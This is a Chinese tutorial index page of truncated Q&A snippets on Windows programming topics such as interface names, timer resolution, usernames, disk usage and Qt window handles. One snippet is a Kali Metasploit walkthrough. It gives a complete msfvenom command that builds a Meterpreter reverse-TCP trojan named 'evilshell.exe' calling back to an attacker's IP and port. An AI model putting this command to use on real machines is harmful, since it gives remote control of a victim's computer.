【[Windows]_[MacOSX]_[获取程序的执行文件所在路径(目录)]】教程文章相关的互联网学习教程文章

如何在Windows下获取有意义的网络接口名称而不是带有netifaces的GUID?【代码】

我使用netifaces模块.import netifaces print netifaces.interfaces()但是这显示了以下结果:['{CDC97813-CC28-4260-BA1E-F0CE3081DEC7}','{846EE342-7039-11DE-9D20-806E6F6E6963}','{A51BA5F0-738B-4405-975F-44E67383513F}','{A646FA85-2EC6-4E57-996E-96E1B1C5CD59}', '{B5DC7787-26DC-4540-8424-A1D5598DC175}']我希望在Windows中获得“友好”的界面名称,如“Local Area Connection”. 我怎么能得到它?解决方法:看起来像neti...

c – 如何获取当前Windows系统范围的计时器分辨率【代码】

我知道每个tick的默认值是15.6 ms,但是一些输家可能会改变它然后一次又一次地来回更改,我需要轮询当前值来执行有效的QueryPerformanceCounter同步. 那么有一种获取定时器分辨率的API方法吗? 我在C BTW.解决方法:Windows计时器解析由隐藏的API调用提供:NTSTATUS NtQueryTimerResolution(OUT PULONG MinimumResolution, OUT PULONG MaximumResolution, OUT PULONG ActualResolution);NtQueryTimerResolution由本机Windows NT库NTDL...

javascript – 获取Web字体以在HTML5 Windows Phone应用程序上运行?

我正在构建一个Windows Phone 8 HTML5应用程序,该应用程序在Web上显示外部网站.页面加载时,除了Web字体外,它还显示所有内容以及正确的CSS样式. Web字体不包含在项目中,它是从网站在线运行的.此外,我知道javascript正在运行,因为其他javascripts正在页面上工作.有没有人知道在应用程序内部使用Web字体的解决方案?如果它有帮助,当我将Windows Phone 8中的主Web浏览器定向到相关网页时,webfonts加载正常.解决方法:自定义字体可以在Wi...

使用JAVA或JSP获取Windows用户名

我想在Windows上记录用户名,我的意思是用户使用java登录到Windows.我用了System.getProperty( “user.name”);但我得到了服务器名称,而不是用户.解决方法:获取登录到Web应用程序的用户名(根据您的评论,我认为您想要做的事情)完全取决于您在系统中实现身份验证的方式.但是,如果您的登录机制添加了此信息,则用户名可能在request.getRemoteUser()或request.getUserPrincipal()中可用.但如上所述,这一切都取决于.您的身份验证机制可能会...

使用kail中Metasploit获取Windows的权限-9.20【图】

kail基于Debian的数字取证系统,上面集成很多渗透工具,其前身是BT5 (R3)(BrackTrack)。 其中Metasploit是一个综合利用工具,极大提高攻击者的渗透效率,使用Ruby开发的,使用方便,使用该工具的方式:msfconsole,MSF依赖于Postgresql数据库,在使用MSF之前要开启该数据库。 step1:生成木马,msfvenom msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.16.128??lport=555 -f exe >/root/桌面/evilshell.exe -p -参...

【Windows系统】C++方式获取特定硬盘的使用详情

通过Windows API可以获取磁盘总容量、空闲容量和可用空闲容量。 代码如下:#include <windows.h>// 硬盘详情结构体 struct DriveInfo {QString sDriName; //盘名quint64 uiTotal; //总容量quint64 uiFree; //空闲容量quint64 uiFree2Caller; //可用的空闲容量DriveInfo(){sDriName = "";uiTotal = 0;uiFree = 0;uiFree2Caller = 0;} };//获取特定硬盘的使用信息 //driveName: 盘名,例如:"C:\\" DriveInfo get_dri...

【Windows系统】C++ Qt方式获取所有磁盘使用详情

磁盘的使用详情,及磁盘的总容量、剩余容量和剩余可用容量。 代码如下#include <windows.h> #include <QVector>struct DriveInfo {QString sDriName;quint64 uiTotal;quint64 uiFree;quint64 uiFree2Caller;DriveInfo(){sDriName = "";uiTotal = 0;uiFree = 0;uiFree2Caller = 0;} };// 获取所有本地磁盘的使用详情 QVector<DriveInfo> SystemInfo::get_local_drive_info() {QVector<DriveInfo> vecDriInfo;DWORD diskCntArr = Get...

c – 如何获取特定用户的Windows“特殊文件夹”的路径?

在服务中,为特定用户确定特殊文件夹路径(例如“我的文档”)的最佳方法是什么? SHGetFolderPath允许您传入令牌,因此我假设有一些方法可以模拟您感兴趣的文件夹的用户. 有没有办法只根据用户名执行此操作?如果没有,用户帐户所需的最小信息量是多少?我宁愿不必要求用户的密码. (这是一个related question.)解决方法:我将挂载用户的注册表配置单元并查找路径值.是的,由于提到的所有原因(前向兼容性差等),这是次优解决方案.但是,与Wi...

javascript – 在旧版(非WebExtensions)Firefox附加组件中获取Windows用户名【代码】

我正在使用Firefox附加组件(用JavaScript编写),需要确定当前登录的Windows用户.有没有办法做到这一点?解决方法:这可以解决Windows上的问题:function getUser() {return Components.classes["@mozilla.org/process/environment;1"].getService(Components.interfaces.nsIEnvironment).get('USERNAME'); }

c – 使用Qt5在Windows上获取HWND(来自WId)【代码】

我正在尝试将Qt4应用程序转换为Qt5.我唯一想知道的是如何获得Widget的HWND.该程序使用EcWin7来显示win 7上任务栏图标的进度,但需要一个HWND.将Q_WS_WIN更改为Q_OS_WIN后,lib本身似乎编译良好)在Windows上的Qt4中,WId只是HWND的typedef,所以这没问题.在Qt5中,情况不再如此.我发现了一些可以提供线索的mailing list posting,但似乎QPlatformNativeInterface不再是Qt5的公共API的一部分了. 该程序调用EcWin7.init(this-> winId());我需...

获取Linux下的.h文件,添加到Windows系统【图】

解决Windows系统下VS高亮显示Linux系统下关键符号的问题 VS下编写Linux上的代码,VS的优点是目录结构清晰。Linux下拷贝: mkdir linux-include 创建一个文件夹 cp Rf usr/include/*.h linux-include 把.h文件拷贝到创建的文件夹linux-include下 cp Rf usr/include/sys linux-include 把sys文件夹拷贝到创建的文件夹linux-include下 Windows下拷贝: 将linux-include文件夹拷贝到Windows系统,C盘,C:\Program Files中。...

获取windows AD用户

获取windows AD下所有用户信息 Get-ADUser -Filter * -Properties * -SearchBase "DC=staff,DC=azureyun,DC=com" |Select-Object name,SamAccountName,Givenname,surname,Displayname,title,mobile,CanonicalName,Created,Department,DistinguishedName,EmailAddress,homeMDB,mail,mailNickname,MemberOf,msExchCoManagedObjectsBL,msExchHomeServerName,PasswordLastSet,PrimaryGroup,proxyAddresses,UserPrincipalName,whenCreat...

c# – 如何在Windows中获取和设置系统卷【代码】

我想在键盘上单击使用单位和c#将操作系统音量设置为某个级别,例如我想将Windows音量(不是统一)设置为70:我该怎么做?void Update() { if (Input.GetKeyDown(KeyCode.A)){//Set Windows Volume 70% } }解决方法:这需要一个插件.由于此问题适用于Windows,因此可以使用IAudioEndpointVolume构建C++ plugin,然后使用C#调用它. This post有一个工作C示例,说明如何使用IAudioEndpointVolume更改卷,您可以使用它作为创建C插件的基...

c – 用于获取netstat -s统计信息的Windows API

我正在搜索返回netstat -s相同统计信息的Windows API解决方法:您可以使用GetIpStatistics()函数. 有关更多信息和示例,请参见此处: http://msdn.microsoft.com/en-us/library/aa365959(VS.85).aspx

c – 如何获取Windows用户帐户的用户权限和权限

我需要能够检查所有these用户权限和特权. 我曾尝试使用令牌来访问这些令牌,但这只能完成特权列表.我已经检查了this library和this one,但我找不到解决方案.唯一的方法是独立完成每个指定权限/特权的测试吗?或者我可能只是一无所知. 任何正确方向的帮助将不胜感激!解决方法:我认为唯一的方法是使用LsaEnumerateAccountsWithUserRight或LsaEnumerateAccountRights来查询LSA策略. 由于权限不需要直接分配(即,可以将它们分配给组,或者...